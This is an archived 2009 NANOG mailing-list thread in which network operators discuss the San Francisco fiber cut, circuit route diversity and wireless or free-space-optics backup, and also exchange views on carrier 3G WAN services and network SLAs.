jcdill.lists at gmail.com (JC Dill) Date: Tue, 14 Apr 2009 15:22:41 -0700 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <49E50CB1.8020009@gmail.com> Gino Villarini wrote: > Good points, some variables are dependant on the network infrastructure > of the wireless provider. Localy, the main 2 providers have a > "copper/fiber independent" networks. > > I'm pretty sure the WISPs in the Santa Cruz and Gilroy/Morgan Hill areas were all also taken offline due to the fiber cut. (Roy, can you verify, for south county?) Anyone in those areas who relied on a WISP as a backup to their fiber/copper link found that their "redundant" system wasn't really redundant after all. You may want to check (verify) how your 2 main providers handle their backhaul. jc From jcdill.lists at gmail.com Tue Apr 14 17:24:43 2009 From: jcdill.lists at gmail.com (JC Dill) Date: Tue, 14 Apr 2009 15:24:43 -0700 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <49E50D2B.8010209@gmail.com> Gino Villarini wrote: > SF area is serviced by Covad Wireless division among others, every major > US city is served by at least 1 or 2 reputable business class Wireless > ISP's. > AFAIK Covad Wireless is just "last mile" wireless, and the route your packets take quickly merges with the local fiber/copper. jc From markcciejackson at gmail.com Tue Apr 14 17:35:23 2009 From: markcciejackson at gmail.com (Mark Jackson) Date: Tue, 14 Apr 2009 15:35:23 -0700 Subject: Fiber cut in SF area In-Reply-To: <49E50D2B.8010209@gmail.com> References: <49E50D2B.8010209@gmail.com> Message-ID: I think this issue has been beat. We're dealing with an arcaic system and protection at the same time... Mark Jackson, CCIE 4736 Senior Network, Security and Voice Architect 858-705-1861 markcciejackson at gmail.com Sent from my iPhone Please excuse spelling errors On Apr 14, 2009, at 3:24 PM, JC Dill wrote: > Gino Villarini wrote: >> SF area is serviced by Covad Wireless division among others, every >> major >> US city is served by at least 1 or 2 reputable business class >> Wireless >> ISP's. > AFAIK Covad Wireless is just "last mile" wireless, and the route > your packets take quickly merges with the local fiber/copper. > > jc > > From r.engehausen at gmail.com Tue Apr 14 17:42:30 2009 From: r.engehausen at gmail.com (Roy) Date: Tue, 14 Apr 2009 15:42:30 -0700 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <49E51156.9090709@gmail.com> Gino Villarini wrote: > Here in my area most of business outfits that require maximum > availability of Internet or WAN conenctions have implemented dual > connections from dual providers, most with a fiber/copper main and a > fixed wireless backup. This trend goes from banks to Mcdonalds > > > Gino A. Villarini > gav at aeronetpr.com > Aeronet Wireless Broadband Corp. > tel 787.273.4143 fax 787.273.4145 > > A large company in the affected area had a T3 supplied by AT&T and a wireless link to another ISP that was fed by two metro-ethernet links by companies other than AT&T. All three uplinks were lost. So much for having backups, From r.engehausen at gmail.com Tue Apr 14 17:57:52 2009 From: r.engehausen at gmail.com (Roy) Date: Tue, 14 Apr 2009 15:57:52 -0700 Subject: Fiber cut in SF area In-Reply-To: <49E50CB1.8020009@gmail.com> References: <49E50CB1.8020009@gmail.com> Message-ID: <49E514F0.7000009@gmail.com> JC Dill wrote: > Gino Villarini wrote: >> Good points, some variables are dependant on the network infrastructure >> of the wireless provider. Localy, the main 2 providers have a >> "copper/fiber independent" networks. >> >> > I'm pretty sure the WISPs in the Santa Cruz and Gilroy/Morgan Hill > areas were all also taken offline due to the fiber cut. (Roy, can you > verify, for south county?) Anyone in those areas who relied on a WISP > as a backup to their fiber/copper link found that their "redundant" > system wasn't really redundant after all. > > You may want to check (verify) how your 2 main providers handle their > backhaul. > > jc > > It based on where the WISP fiber feed was located but in general they were all down. There were some special edge cases that stayed up fed from distant mountain tops. It didn't seem to matter who your upstream ISP was, they were all gone. From kwallace at pcconnection.com Tue Apr 14 18:06:14 2009 From: kwallace at pcconnection.com (Wallace Keith) Date: Tue, 14 Apr 2009 19:06:14 -0400 Subject: Diversity - was: Fiber cut in SF area In-Reply-To: <49E51156.9090709@gmail.com> References: <49E51156.9090709@gmail.com> Message-ID: <0E8773C725A1674E9F7B35EABB5EEEB1051001B3@MKA134.pcc.int> -----Original Message----- From: Roy [mailto:r.engehausen at gmail.com] Sent: Tuesday, April 14, 2009 6:43 PM To: Gino Villarini Cc: nanog at nanog.org Subject: Re: Fiber cut in SF area Gino Villarini wrote: > Here in my area most of business outfits that require maximum > availability of Internet or WAN conenctions have implemented dual > connections from dual providers, most with a fiber/copper main and a > fixed wireless backup. This trend goes from banks to Mcdonalds > > > Gino A. Villarini > gav at aeronetpr.com > Aeronet Wireless Broadband Corp. > tel 787.273.4143 fax 787.273.4145 > > >A large company in the affected area had a T3 supplied by AT&T and a >wireless link to another ISP that was fed by two metro-ethernet links by >companies other than AT&T. >All three uplinks were lost. So much for having backups, This just goes to emphasize that when creating a diversity or backup scenario, you need to get full disclosure from Provider B that they do not use Provider A's facilities, including shared sheath, duct, etc in any way. Also, there is the need to avoid the same telco buildings, regen huts, etc. and in some cases, entire cities. Any telecom/datacom manager who has done their homework should be able to map out their paths back to critical diverse infrastructure. -Keith From mike at rockynet.com Tue Apr 14 18:16:39 2009 From: mike at rockynet.com (Mike Lewinski) Date: Tue, 14 Apr 2009 17:16:39 -0600 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <49E51957.2060703@rockynet.com> Deepak Jain wrote: > I don't mean to jump in here and state the obvious, but wireless links are > not a panacea. At least a few folks have presented that fiber grooming has > affected their *region*. It's not difficult to imagine that wherever the > "head" link side (or agg point) of these regional wireless networks is... > probably coincides with a fiber network or other telecom POP. You are just > moving where your last mile vulnerabilities are (slightly.. as you are > picking up multiple power vulnerabilities, Line of Sight, and other things > along the way). The federal stimulus earmarks $7 billion for broadband in underserved regions and another $11 billion for the "Smart Grid" (which needs network connectivity in order to be very Smart). It seems to me like broadband over powerlines (http://tinyurl.com/dyue7k ) is the obvious answer to getting the most out of that money. While recent reports of intruders in the legacy grid scare the crap out of me WRT the Smart Grid future (and dumb grid present), in the long term I worry more about the next Carrington event (http://tinyurl.com/c3xphd ). Building a new communication network for the Smart Grid seems like a step in the right direction toward being able power everything down in a real emergency. Your local power company probably wouldn't have to go far to get to a peering point either... The long term vision for the smart grid has other potential gains for the health and availability of our networks. I know that we see daily damage from power sags and spikes (even when absorbed by UPS, those still have a real world cost associated with the truck rolls to replace failed batteries). Some of that goes away when the whole usage curve smooths out as a result of demand-based pricing models that will be built into the Smart Grid. Ultimately I hope it goes to the application model. A lot of periodic jobs that use significant system CPU resources can be scheduled to run when electricity is cheapest, perhaps in consideration with what else is going on locally. Mike From joel.mercado at verizon.net Tue Apr 14 18:56:01 2009 From: joel.mercado at verizon.net (joel.mercado at verizon.net) Date: Tue, 14 Apr 2009 23:56:01 +0000 Subject: Diversity - was: Fiber cut in SF area Message-ID: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> Hopefully none of these customers had service and protect ckts that went down... I would be pissed as a ceo if that happen to my company. Hopefully level3's new service offering is 100 at percent redundant as stated The new service offerings include: - Protected Wavelengths: Level 3 now provides automatic protection-switching to a dedicated diversely routed wavelength in the event of a network failure. The protection switch, fully automated and managed by Level 3, happens at switching speeds approaching SONET restoration times. The single interface to the customer requires no additional capital cost for customer optical ports, and the diverse restoration path is fixed and fully known to the customer. These features allow customers to achieve fast restoration with predictable performance in their network without adding significant cost and routing complexity. - ------Original Message------ From: Wallace Keith To: nanog at nanog.org Subject: Diversity - was: Fiber cut in SF area Sent: Apr 14, 2009 7:06 PM -----Original Message----- From: Roy [mailto:r.engehausen at gmail.com] Sent: Tuesday, April 14, 2009 6:43 PM To: Gino Villarini Cc: nanog at nanog.org Subject: Re: Fiber cut in SF area Gino Villarini wrote: > Here in my area most of business outfits that require maximum > availability of Internet or WAN conenctions have implemented dual > connections from dual providers, most with a fiber/copper main and a > fixed wireless backup. This trend goes from banks to Mcdonalds > > > Gino A. Villarini > gav at aeronetpr.com > Aeronet Wireless Broadband Corp. > tel 787.273.4143 fax 787.273.4145 > > >A large company in the affected area had a T3 supplied by AT&T and a >wireless link to another ISP that was fed by two metro-ethernet links by >companies other than AT&T. >All three uplinks were lost. So much for having backups, This just goes to emphasize that when creating a diversity or backup scenario, you need to get full disclosure from Provider B that they do not use Provider A's facilities, including shared sheath, duct, etc in any way. Also, there is the need to avoid the same telco buildings, regen huts, etc. and in some cases, entire cities. Any telecom/datacom manager who has done their homework should be able to map out their paths back to critical diverse infrastructure. -Keith Sent on the Now Network? from my Sprint?? BlackBerry From trall444 at gmail.com Tue Apr 14 20:26:10 2009 From: trall444 at gmail.com (Tony Rall) Date: Tue, 14 Apr 2009 18:26:10 -0700 Subject: Fiber cut in SF area In-Reply-To: <49E514F0.7000009@gmail.com> References: <49E50CB1.8020009@gmail.com> <49E514F0.7000009@gmail.com> Message-ID: <49E537B2.5030602@gmail.com> Roy wrote: > JC Dill wrote: > >> I'm pretty sure the WISPs in the Santa Cruz and Gilroy/Morgan Hill >> areas were all also taken offline due to the fiber cut. (Roy, can you >> verify, for south county?) Anyone in those areas who relied on a WISP >> as a backup to their fiber/copper link found that their "redundant" >> system wasn't really redundant after all. >> > It based on where the WISP fiber feed was located but in general they > were all down. There were some special edge cases that stayed up fed > from distant mountain tops. > > It didn't seem to matter who your upstream ISP was, they were all gone. > The little residential wireless provider I use (http://surfnetc.com/) in Santa Cruz county stayed up the whole time. I was surprised. (Looks like their uplink is via pnap (Internap).) -- Tony Rall From frnkblk at iname.com Tue Apr 14 20:54:21 2009 From: frnkblk at iname.com (Frank Bulk) Date: Tue, 14 Apr 2009 20:54:21 -0500 Subject: Diversity - was: Fiber cut in SF area In-Reply-To: <0E8773C725A1674E9F7B35EABB5EEEB1051001B3@MKA134.pcc.int> References: <49E51156.9090709@gmail.com> <0E8773C725A1674E9F7B35EABB5EEEB1051001B3@MKA134.pcc.int> Message-ID: If only circuit selection was based on redundant routes. =) Many times the number of carriers is limited, and existing partnerships, enemies, pricing, availability, and contract terms are further constraints. The physical circuit path is near the bottom of the criteria sheet in making a short list -- route diversity has to the decision maker's top priority if the customer stands a chance of actually achieving it. BTW, none of my customers has ever asked about our fiber routes. We're small, but you'd think someone would ask.... Frank -----Original Message----- From: Wallace Keith [mailto:kwallace at pcconnection.com] Sent: Tuesday, April 14, 2009 6:06 PM To: nanog at nanog.org Subject: Diversity - was: Fiber cut in SF area -----Original Message----- From: Roy [mailto:r.engehausen at gmail.com] Sent: Tuesday, April 14, 2009 6:43 PM To: Gino Villarini Cc: nanog at nanog.org Subject: Re: Fiber cut in SF area Gino Villarini wrote: > Here in my area most of business outfits that require maximum > availability of Internet or WAN conenctions have implemented dual > connections from dual providers, most with a fiber/copper main and a > fixed wireless backup. This trend goes from banks to Mcdonalds > > > Gino A. Villarini > gav at aeronetpr.com > Aeronet Wireless Broadband Corp. > tel 787.273.4143 fax 787.273.4145 > > >A large company in the affected area had a T3 supplied by AT&T and a >wireless link to another ISP that was fed by two metro-ethernet links by >companies other than AT&T. >All three uplinks were lost. So much for having backups, This just goes to emphasize that when creating a diversity or backup scenario, you need to get full disclosure from Provider B that they do not use Provider A's facilities, including shared sheath, duct, etc in any way. Also, there is the need to avoid the same telco buildings, regen huts, etc. and in some cases, entire cities. Any telecom/datacom manager who has done their homework should be able to map out their paths back to critical diverse infrastructure. -Keith From Brian.Murphy at usafe.af.mil Tue Apr 14 22:04:12 2009 From: Brian.Murphy at usafe.af.mil (Murphy, Brian S CTR USAF ACC 83 NOS/Det 4) Date: Wed, 15 Apr 2009 05:04:12 +0200 Subject: Fiber cut in SF area Message-ID: I haven't seen any mention of the possible use of FSO (Free Space Optics) by the provider to restore some reasonable amount of connectivity during an outage due to a fiber cut. I would expect that having 2 or 3 pairs of FSO boxes to provide a "reduced failover capacity" in metro areas would be a reasonable measure to ensure service for extended physical (fiber break, cut, backhoe) outages - although not necessarily for power. Yes, it would take some time to roll them out and set them up, but less time than the crew working the splices, and the folks handling the FSO boxes should be different from the fiber splice truck roll crew. Note that a power outage would not allow microwave to be an effective remediation method either. Plus, FSO's use of lasers (vice microwaves) means no issues with spectrum (AFAIK). Granted, they have limited distance and require LoS, but using two or more pairs can probably handle the 80% situation in the metro (unless there is data to indicate otherwise). murph ------------------------------------- Date: Tue, 14 Apr 2009 15:57:52 -0700 From: Roy Subject: Re: Fiber cut in SF area To: JC Dill Cc: nanog at nanog.org Message-ID: <49E514F0.7000009 at gmail.com> Content-Type: text/plain; charset=ISO-8859-1 JC Dill wrote: > Gino Villarini wrote: >> Good points, some variables are dependant on the network infrastructure >> of the wireless provider. Localy, the main 2 providers have a >> "copper/fiber independent" networks. >> >> > I'm pretty sure the WISPs in the Santa Cruz and Gilroy/Morgan Hill > areas were all also taken offline due to the fiber cut. (Roy, can you > verify, for south county?) Anyone in those areas who relied on a WISP > as a backup to their fiber/copper link found that their "redundant" > system wasn't really redundant after all. > > You may want to check (verify) how your 2 main providers handle their > backhaul. > > jc > > It based on where the WISP fiber feed was located but in general they were all down. There were some special edge cases that stayed up fed from distant mountain tops. It didn't seem to matter who your upstream ISP was, they were all gone. From ongbh at ispworkshop.com Tue Apr 14 22:33:05 2009 From: ongbh at ispworkshop.com (Ong Beng Hui) Date: Wed, 15 Apr 2009 11:33:05 +0800 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <49E55571.3080109@ispworkshop.com> The problem of been LoS is a big problem in metro as far as I know. You can't just put a pair of FSO gear without going to the building owner to talk about rights and cost. Not forgetting lighting protection and other stuff. Murphy, Brian S CTR USAF ACC 83 NOS/Det 4 wrote: > I haven't seen any mention of the possible use of FSO (Free Space Optics) by the provider to restore some reasonable amount of connectivity during an outage due to a fiber cut. I would expect that having 2 or 3 pairs of FSO boxes to provide a "reduced failover capacity" in metro areas would be a reasonable measure to ensure service for extended physical (fiber break, cut, backhoe) outages - although not necessarily for power. Yes, it would take some time to roll them out and set them up, but less time than the crew working the splices, and the folks handling the FSO boxes should be different from the fiber splice truck roll crew. > > Note that a power outage would not allow microwave to be an effective remediation method either. > > Plus, FSO's use of lasers (vice microwaves) means no issues with spectrum (AFAIK). Granted, they have limited distance and require LoS, but using two or more pairs can probably handle the 80% situation in the metro (unless there is data to indicate otherwise). > > murph > From Sam.Crooks at experian.com Tue Apr 14 23:25:59 2009 From: Sam.Crooks at experian.com (Crooks, Sam) Date: Tue, 14 Apr 2009 23:25:59 -0500 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on or off-list replies welcome In-Reply-To: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> Message-ID: I'm considering use of AT&T / Verizon / Sprint WWAN services and the Cisco 3G router interface cards/integrated module in C880 routers for primary or backup WAN network connectivity for routers. I'm looking for information from users of these services on the following: - addressing - Do these WWAN services use dynamic, PPPoE or static IP assignment typically? Any of the 3? All? - is static IP assignment available? - do these service providers use NAT within their network? - How is the service reliability? In most cases, is the service available for use when you need to use it? - How is the service coverage area? Do you have problems getting sufficient coverage in the deplouyment location to support desired speeds (say 512kbps up/down as a minimum)? - is ESP / IKE / IPsec permitted through un-rate-limited and un-molested by the providers? - If you build a IPsec/GRE tunnel over these services, do you have frequent issues with the tunnel dropping, or a dynamic routing protocol running through the tunnel going down frequently? Also interested in similar information on impressions of similar EMEA WWAN service providers, particularly Vodaphone and T-Mobile, if anyone has experiences with these. Replies on-list or off-list are welcome.... Your choice. Cisco 3G interface and provider information: http://www.cisco.com/en/US/products/ps7272/index.html http://www.cisco.com/en/US/prod/routers/networking_solutions_products_ge nericcontent0900aecd80601f7e.html#~north-america Regards, Sam Crooks From tvarriale at comcast.net Tue Apr 14 23:48:46 2009 From: tvarriale at comcast.net (Tony Varriale) Date: Tue, 14 Apr 2009 23:48:46 -0500 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on oroff-list replies welcome References: Message-ID: I've seen it with "static" public IP pppoe assignment. No NAT. Reliability? Best effort at best. Coverage area is ok. Speed and reliability is completely dependant on your location. Test first. Always. And then do not set a decent expectation. IPSec tunnels dropping? Could be. Again, depends on your locations. My overall impression? Get a T1. My overall recommendation? Complete site surveys and then have a back out plan. tv ----- Original Message ----- From: "Crooks, Sam" To: Sent: Tuesday, April 14, 2009 11:25 PM Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on oroff-list replies welcome I'm considering use of AT&T / Verizon / Sprint WWAN services and the Cisco 3G router interface cards/integrated module in C880 routers for primary or backup WAN network connectivity for routers. I'm looking for information from users of these services on the following: - addressing - Do these WWAN services use dynamic, PPPoE or static IP assignment typically? Any of the 3? All? - is static IP assignment available? - do these service providers use NAT within their network? - How is the service reliability? In most cases, is the service available for use when you need to use it? - How is the service coverage area? Do you have problems getting sufficient coverage in the deplouyment location to support desired speeds (say 512kbps up/down as a minimum)? - is ESP / IKE / IPsec permitted through un-rate-limited and un-molested by the providers? - If you build a IPsec/GRE tunnel over these services, do you have frequent issues with the tunnel dropping, or a dynamic routing protocol running through the tunnel going down frequently? Also interested in similar information on impressions of similar EMEA WWAN service providers, particularly Vodaphone and T-Mobile, if anyone has experiences with these. Replies on-list or off-list are welcome.... Your choice. Cisco 3G interface and provider information: http://www.cisco.com/en/US/products/ps7272/index.html http://www.cisco.com/en/US/prod/routers/networking_solutions_products_ge nericcontent0900aecd80601f7e.html#~north-america Regards, Sam Crooks From sethm at rollernet.us Wed Apr 15 01:28:15 2009 From: sethm at rollernet.us (Seth Mattinen) Date: Tue, 14 Apr 2009 23:28:15 -0700 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on or off-list replies welcome In-Reply-To: References: Message-ID: <49E57E7F.9000409@rollernet.us> Crooks, Sam wrote: > I'm considering use of AT&T / Verizon / Sprint WWAN services and the > Cisco 3G router interface cards/integrated module in C880 routers for > primary or backup WAN network connectivity for routers. My comments are only for Sprint EVDO/1xRTT since that's what I use. > I'm looking for information from users of these services on the > following: > > - addressing - Do these WWAN services use dynamic, PPPoE or static IP > assignment typically? Any of the 3? All? My IP changes every time the session establishes. > - is static IP assignment available? I've never asked about static because there was no benefit to me when other workarounds were available, i.e. DMVPN. > - do these service providers use NAT within their network? Sprint doesn't, you get a public IP and I can establish inbound connections. They seem to filter incoming port 80 though. I regularly SSH to the wireless IP without any problems, although if the radio is sleeping sometimes it takes two attempts. > - How is the service reliability? In most cases, is the service > available for use when you need to use it? I've been using it for years with no complaints. > - How is the service coverage area? Do you have problems getting > sufficient coverage in the deplouyment location to support desired > speeds (say 512kbps up/down as a minimum)? I get full EVDO rates. It's as reliable as any other CDMA phone I've used in my area. Standard bad and good coverage areas apply. They will do site surveys for you though, plus you can get fancy antennas for the cards. I picked EVDO because it has a better upstream rate. > - is ESP / IKE / IPsec permitted through un-rate-limited and un-molested > by the providers? As far as I can tell. > - If you build a IPsec/GRE tunnel over these services, do you have > frequent issues with the tunnel dropping, or a dynamic routing protocol > running through the tunnel going down frequently? Sometimes latency sucks and timers will expire. It always recovers on its own though. > Also interested in similar information on impressions of similar EMEA > WWAN service providers, particularly Vodaphone and T-Mobile, if anyone > has experiences with these. > > > Replies on-list or off-list are welcome.... Your choice. > > Cisco 3G interface and provider information: > > http://www.cisco.com/en/US/products/ps7272/index.html > > http://www.cisco.com/en/US/prod/routers/networking_solutions_products_ge > nericcontent0900aecd80601f7e.html#~north-america > If uplink rates matter, for AT&T, you'll have to wait for the HWIC-3G-HSPA-A to come out. If you want better than 384 up right now, go EVDO Rev. A and make sure they do a site survey for you first. In the end, it's just a fancy cell phone in your router. ~Seth From mgoldman at appiaservices.com Wed Apr 15 02:09:39 2009 From: mgoldman at appiaservices.com (Mike Goldman) Date: Wed, 15 Apr 2009 02:09:39 -0500 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on oroff-list replies welcome In-Reply-To: References: Message-ID: <014301c9bd99$24f790e0$6ee6b2a0$@com> I agree do not commit without POC or trial bases. Mike Goldman -----Original Message----- From: Tony Varriale [mailto:tvarriale at comcast.net] Sent: Tuesday, April 14, 2009 11:49 PM To: nanog at nanog.org Subject: Re: Looking for AT&T / Verizon / Sprint WWAN service impressions - on oroff-list replies welcome I've seen it with "static" public IP pppoe assignment. No NAT. Reliability? Best effort at best. Coverage area is ok. Speed and reliability is completely dependant on your location. Test first. Always. And then do not set a decent expectation. IPSec tunnels dropping? Could be. Again, depends on your locations. My overall impression? Get a T1. My overall recommendation? Complete site surveys and then have a back out plan. tv ----- Original Message ----- From: "Crooks, Sam" To: Sent: Tuesday, April 14, 2009 11:25 PM Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on oroff-list replies welcome I'm considering use of AT&T / Verizon / Sprint WWAN services and the Cisco 3G router interface cards/integrated module in C880 routers for primary or backup WAN network connectivity for routers. I'm looking for information from users of these services on the following: - addressing - Do these WWAN services use dynamic, PPPoE or static IP assignment typically? Any of the 3? All? - is static IP assignment available? - do these service providers use NAT within their network? - How is the service reliability? In most cases, is the service available for use when you need to use it? - How is the service coverage area? Do you have problems getting sufficient coverage in the deplouyment location to support desired speeds (say 512kbps up/down as a minimum)? - is ESP / IKE / IPsec permitted through un-rate-limited and un-molested by the providers? - If you build a IPsec/GRE tunnel over these services, do you have frequent issues with the tunnel dropping, or a dynamic routing protocol running through the tunnel going down frequently? Also interested in similar information on impressions of similar EMEA WWAN service providers, particularly Vodaphone and T-Mobile, if anyone has experiences with these. Replies on-list or off-list are welcome.... Your choice. Cisco 3G interface and provider information: http://www.cisco.com/en/US/products/ps7272/index.html http://www.cisco.com/en/US/prod/routers/networking_solutions_products_ge nericcontent0900aecd80601f7e.html#~north-america Regards, Sam Crooks From justin.ream at gmail.com Wed Apr 15 02:51:36 2009 From: justin.ream at gmail.com (Justin Ream) Date: Wed, 15 Apr 2009 00:51:36 -0700 Subject: Anyone from Intelligence Network Online? Message-ID: <6913494d0904150051p45d7d5a1ia280a85339fe5c1b@mail.gmail.com> Hi - I wanted to see if anyone is here from Intelligence Network Online - I suspect an old AS number and a /16 of yours is being hijacked by a spam gang operating in downtown LA and wanted to get some confirmation. -Justin From tme at multicasttech.com Wed Apr 15 05:17:41 2009 From: tme at multicasttech.com (Marshall Eubanks) Date: Wed, 15 Apr 2009 06:17:41 -0400 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on or off-list replies welcome In-Reply-To: <49E57E7F.9000409@rollernet.us> References: <49E57E7F.9000409@rollernet.us> Message-ID: <30A3BD64-40FA-4BE7-8BDE-AEE2FD5FEF0B@multicasttech.com> On Apr 15, 2009, at 2:28 AM, Seth Mattinen wrote: > Crooks, Sam wrote: >> I'm considering use of AT&T / Verizon / Sprint WWAN services and the >> Cisco 3G router interface cards/integrated module in C880 routers for >> primary or backup WAN network connectivity for routers. > > My comments are only for Sprint EVDO/1xRTT since that's what I use. > I use Sprint EVD0 and really like it. SSH, tunnels, etc. all seem to work fine. I have never tried to host a mail server on it, though. About once per month I get the same IP address if the session dies and I immediately restart it, but generally not. They are public IP addresses. I have heard that there is now a 5 GB per month cap, but I never got a notice of this and have never been capped. My biggest complaint is that Sprint internally regards this as a phone, and so the automated services are typically useless. There is nothing like spending 25 minutes on the phone dealing with some issue, only to be told "the information you requested has been texted to your phone," when, as far as I can tell, I have no way to receive such texting. Regards Marshall > >> I'm looking for information from users of these services on the >> following: >> >> - addressing - Do these WWAN services use dynamic, PPPoE or static IP >> assignment typically? Any of the 3? All? > > My IP changes every time the session establishes. > > >> - is static IP assignment available? > > I've never asked about static because there was no benefit to me when > other workarounds were available, i.e. DMVPN. > > >> - do these service providers use NAT within their network? > > Sprint doesn't, you get a public IP and I can establish inbound > connections. They seem to filter incoming port 80 though. I regularly > SSH to the wireless IP without any problems, although if the radio is > sleeping sometimes it takes two attempts. > > >> - How is the service reliability? In most cases, is the service >> available for use when you need to use it? > > I've been using it for years with no complaints. > > >> - How is the service coverage area? Do you have problems getting >> sufficient coverage in the deplouyment location to support desired >> speeds (say 512kbps up/down as a minimum)? > > I get full EVDO rates. It's as reliable as any other CDMA phone I've > used in my area. Standard bad and good coverage areas apply. They will > do site surveys for you though, plus you can get fancy antennas for > the > cards. I picked EVDO because it has a better upstream rate. > > >> - is ESP / IKE / IPsec permitted through un-rate-limited and un- >> molested >> by the providers? > > As far as I can tell. > > >> - If you build a IPsec/GRE tunnel over these services, do you have >> frequent issues with the tunnel dropping, or a dynamic routing >> protocol >> running through the tunnel going down frequently? > > Sometimes latency sucks and timers will expire. It always recovers on > its own though. > > >> Also interested in similar information on impressions of similar EMEA >> WWAN service providers, particularly Vodaphone and T-Mobile, if >> anyone >> has experiences with these. >> >> >> Replies on-list or off-list are welcome.... Your choice. >> >> Cisco 3G interface and provider information: >> >> http://www.cisco.com/en/US/products/ps7272/index.html >> >> http://www.cisco.com/en/US/prod/routers/networking_solutions_products_ge >> nericcontent0900aecd80601f7e.html#~north-america >> > > If uplink rates matter, for AT&T, you'll have to wait for the > HWIC-3G-HSPA-A to come out. If you want better than 384 up right > now, go > EVDO Rev. A and make sure they do a site survey for you first. In the > end, it's just a fancy cell phone in your router. > > ~Seth > > From msaqib at gmail.com Wed Apr 15 05:22:52 2009 From: msaqib at gmail.com (Saqib Ilyas) Date: Wed, 15 Apr 2009 15:22:52 +0500 Subject: Network SLA In-Reply-To: <262b67200902190750m556cf72ve2ae25e4b64378e7@mail.gmail.com> References: <262b67200902190750m556cf72ve2ae25e4b64378e7@mail.gmail.com> Message-ID: <262b67200904150322q1fc533d9h2a540e734411ba59@mail.gmail.com> I talked to the NOC personnel at a small (compared to North American standards) ISP in Pakistan. They said that their core links are operating at less than 50% utilization most of the time. Under such conditions, violating SLA conditions in the core is unlikely. If such is also the case with most service providers in the North America as well, then why would they even use active measurement such as iPerf or BRIX or Cisco IP SLAs before signing an SLA? Thanks and best regards On Thu, Feb 19, 2009 at 8:50 PM, Saqib Ilyas wrote: > Greetings > I am curious to know about any tools/techniques that a service provider > uses to assess an SLA before signing it. That is to say, how does an > administrator know if he/she can meet what he is promising. Is it based on > experience? Are there commonly used tools for this? > Thanks and best regards > -- > Muhammad Saqib Ilyas > PhD Student, Computer Science and Engineering > Lahore University of Management Sciences > -- Muhammad Saqib Ilyas PhD Student, Computer Science and Engineering Lahore University of Management Sciences From msaqib at gmail.com Wed Apr 15 06:10:43 2009 From: msaqib at gmail.com (Saqib Ilyas) Date: Wed, 15 Apr 2009 16:10:43 +0500 Subject: Network SLA In-Reply-To: <1E8B940C5E21014AB8BE70B975D40EDB01627EFD@bert.HiberniaAtlantic.local> References: <262b67200902190750m556cf72ve2ae25e4b64378e7@mail.gmail.com> <262b67200904150322q1fc533d9h2a540e734411ba59@mail.gmail.com> <1E8B940C5E21014AB8BE70B975D40EDB01627EFD@bert.HiberniaAtlantic.local> Message-ID: <262b67200904150410n3f2159aby4ad1edef566512c0@mail.gmail.com> Hmmm. Good point. Perhaps the Internet traffic gets only a small share of the link capacity and the rest is reserved for corporate clients' VPN traffic etc. I was thinking more along the lines of corporate SLAs, not for Internet traffic. On Wed, Apr 15, 2009 at 4:05 PM, Rod Beck wrote: > Congestion is more common than you think. And by the way, if congestion > is not a problem in Pakistan, then why is the VoIP qualit so poor? > > :) > > Roderick S. Beck > Director of European Sales > Hibernia Atlantic > 13-15, rue Sedaine, 75011 Paris > http://www.hiberniaatlantic.com > Wireless: 1-212-444-8829. > French Landline: 33+1+4355+8224 > French Wireless: 33-6-14-33-48-97. > AOL Messenger: GlobalBandwidth > rod.beck at hiberniaatlantic.com > rodbeck at erols.com > ``Unthinking respect for authority is the greatest enemy of truth.'' Albert > Einstein. > > > > -----Original Message----- > From: Saqib Ilyas [mailto:msaqib at gmail.com ] > Sent: Wed 4/15/2009 11:22 AM > To: nanog at nanog.org > Subject: Re: Network SLA > > I talked to the NOC personnel at a small (compared to North American > standards) ISP in Pakistan. They said that their core links are operating > at > less than 50% utilization most of the time. Under such conditions, > violating > SLA conditions in the core is unlikely. If such is also the case with most > service providers in the North America as well, then why would they even > use > active measurement such as iPerf or BRIX or Cisco IP SLAs before signing an > SLA? > Thanks and best regards > > On Thu, Feb 19, 2009 at 8:50 PM, Saqib Ilyas wrote: > > > Greetings > > I am curious to know about any tools/techniques that a service provider > > uses to assess an SLA before signing it. That is to say, how does an > > administrator know if he/she can meet what he is promising. Is it based > on > > experience? Are there commonly used tools for this? > > Thanks and best regards > > -- > > Muhammad Saqib Ilyas > > PhD Student, Computer Science and Engineering > > Lahore University of Management Sciences > > > > > > -- > Muhammad Saqib Ilyas > PhD Student, Computer Science and Engineering > Lahore University of Management Sciences > > -- Muhammad Saqib Ilyas PhD Student, Computer Science and Engineering Lahore University of Management Sciences From neil at tonal.clara.co.uk Wed Apr 15 06:44:02 2009 From: neil at tonal.clara.co.uk (Neil Harris) Date: Wed, 15 Apr 2009 12:44:02 +0100 Subject: Fiber cut in SF area In-Reply-To: <49E55571.3080109@ispworkshop.com> References: <49E55571.3080109@ispworkshop.com> Message-ID: <49E5C882.6070005@tonal.clara.co.uk> Ong Beng Hui wrote: > The problem of been LoS is a big problem in metro as far as I know. > You can't just put a pair of FSO gear without going to the building > owner to talk about rights and cost. Not forgetting lighting > protection and other stuff. > > Murphy, Brian S CTR USAF ACC 83 NOS/Det 4 wrote: >> I haven't seen any mention of the possible use of FSO (Free Space >> Optics) by the provider to restore some reasonable amount of >> connectivity during an outage due to a fiber cut. I would expect >> that having 2 or 3 pairs of FSO boxes to provide a "reduced failover >> capacity" in metro areas would be a reasonable measure to ensure >> service for extended physical (fiber break, cut, backhoe) outages - >> although not necessarily for power. Yes, it would take some time to >> roll them out and set them up, but less time than the crew working >> the splices, and the folks handling the FSO boxes should be different >> from the fiber splice truck roll crew. >> >> Note that a power outage would not allow microwave to be an effective >> remediation method either. >> >> Plus, FSO's use of lasers (vice microwaves) means no issues with >> spectrum (AFAIK). Granted, they have limited distance and require >> LoS, but using two or more 